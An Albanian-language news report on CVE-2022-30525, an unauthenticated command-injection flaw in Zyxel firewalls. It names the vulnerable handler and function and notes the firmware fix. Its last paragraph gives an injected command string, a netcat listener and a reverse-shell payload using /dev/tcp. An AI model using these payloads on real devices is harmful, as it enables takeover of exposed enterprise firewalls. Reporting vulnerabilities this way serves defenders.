Një cenueshmëri kritike (CVE-2022-30525) është identifikuar në pajisjet Zyxel të serive ATP, VPN dhe USG FLEX, të krijuara për të organizuar funksionimin e mureve të zjarrit, IDS dhe VPN në ndërmarrje, gjë që lejon një sulmues të jashtëm të ekzekutojë kodin në pajisje pa të drejta përdoruesi pa vërtetim. Për të kryer një sulm, një sulmues duhet të jetë në gjendje të dërgojë kërkesa në pajisje duke përdorur protokollin HTTP/HTTPS. Zyxel ka rregulluar cenueshmërinë në përditësimin e firmuerit ZLD 5.30. Sipas shërbimit Shodan, aktualisht ka 16213 pajisje potencialisht të cenueshme në rrjetin global që pranojnë kërkesa nëpërmjet HTTP/HTTPS.
Operacioni kryhet duke dërguar komanda të krijuara posaçërisht te mbajtësi i uebit /ztp/cgi-bin/handler, i aksesueshëm pa vërtetim. Problemi shkaktohet nga mungesa e pastrimit të duhur të parametrave të kërkesës gjatë ekzekutimit të komandave në sistem duke përdorur thirrjen os.system që përdoret në bibliotekën lib_wan_settings.py dhe ekzekutohet kur përpunohet operacioni setWanPortSt.
Për shembull, një sulmues mund të kalojë vargun “; ping 192.168.1.210;" e cila do të çojë në ekzekutimin e komandës “ping 192.168.1.210” në sistem. Për të fituar akses në guaskën e komandës, mund të ekzekutoni "nc -lvnp 1270" në sistemin tuaj dhe më pas të filloni një lidhje të kundërt duke dërguar një kërkesë në pajisje me '; bash -c \»exec bash -i &>/dev/tcp/192.168.1.210/1270 <&1;\»;'.
Burimi: opennet.ru